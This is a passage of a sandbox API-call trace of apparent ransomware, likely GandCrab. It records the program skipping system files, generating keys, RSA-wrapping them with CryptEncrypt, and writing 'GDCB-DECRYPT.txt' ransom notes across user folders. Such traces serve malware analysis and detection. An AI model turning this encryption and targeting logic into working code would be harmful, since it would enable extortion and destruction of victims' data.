[0170.462] lstrcmpiW (lpString1="USS.log", lpString2="ntuser.dat.log") returned 1 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="thumbs.db") returned 1 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.462] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\uss.log")) returned 0xffffffff [0170.462] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log", dwFileAttributes=0xfffffffe) returned 0 [0170.462] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0170.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.463] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0170.463] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.463] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0170.464] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.464] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0170.464] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.464] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0170.466] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f60b0) returned 1 [0170.466] CryptGetKeyParam (in: hKey=0x5f60b0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.466] CryptEncrypt (in: hKey=0x5f60b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2890000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2890000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0170.466] GetLastError () returned 0x0 [0170.466] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.466] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0170.468] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f5d30) returned 1 [0170.468] CryptGetKeyParam (in: hKey=0x5f5d30, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.468] CryptEncrypt (in: hKey=0x5f5d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28a0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x28a0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0170.468] GetLastError () returned 0x0 [0170.468] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.468] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\uss.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.469] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00001.jrs") returned 272 [0170.469] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00001.jrs") returned 272 [0170.469] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00002.jrs") returned 272 [0170.469] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USSres00002.jrs") returned 272 [0170.469] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 267 [0170.469] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 267 [0170.469] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 267 [0170.469] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log") returned 267 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="desktop.ini") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="autorun.inf") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="ntuser.dat") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="iconcache.db") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="bootsect.bak") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="boot.ini") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="ntuser.dat.log") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="thumbs.db") returned 1 [0170.469] lstrcmpiW (lpString1="USStmp.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.469] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\usstmp.log")) returned 0xffffffff [0170.469] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log", dwFileAttributes=0xfffffffe) returned 0 [0170.469] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0170.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.470] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.470] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0170.470] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.470] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0170.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.470] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.470] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0170.470] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.470] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0170.473] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f5fb0) returned 1 [0170.473] CryptGetKeyParam (in: hKey=0x5f5fb0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.473] CryptEncrypt (in: hKey=0x5f5fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28b0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x28b0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0170.473] GetLastError () returned 0x0 [0170.473] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.473] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0170.475] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f5bb0) returned 1 [0170.475] CryptGetKeyParam (in: hKey=0x5f5bb0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.475] CryptEncrypt (in: hKey=0x5f5bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28c0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x28c0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0170.475] GetLastError () returned 0x0 [0170.475] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.475] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USStmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\usstmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.475] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 256 [0170.476] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 256 [0170.476] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 256 [0170.476] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 256 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.477] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\\\GDCB-DECRYPT.txt") returned 264 [0170.477] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.477] GetLastError () returned 0x3 [0170.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.478] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\\\GDCB-DECRYPT.txt") returned 271 [0170.478] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.478] GetLastError () returned 0x3 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.478] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\\\GDCB-DECRYPT.txt") returned 281 [0170.478] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.478] GetLastError () returned 0x3 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.478] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.478] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\\\GDCB-DECRYPT.txt") returned 277 [0170.479] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.479] GetLastError () returned 0x3 [0170.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.479] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.479] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\\\GDCB-DECRYPT.txt") returned 265 [0170.479] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.479] GetLastError () returned 0x3 [0170.479] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 259 [0170.479] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 259 [0170.479] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 259 [0170.479] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\desktop.ini") returned 259 [0170.480] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.480] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\\\GDCB-DECRYPT.txt") returned 277 [0170.480] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.480] GetLastError () returned 0x3 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.480] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.480] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\\\GDCB-DECRYPT.txt") returned 269 [0170.480] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.480] GetLastError () returned 0x3 [0170.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.481] 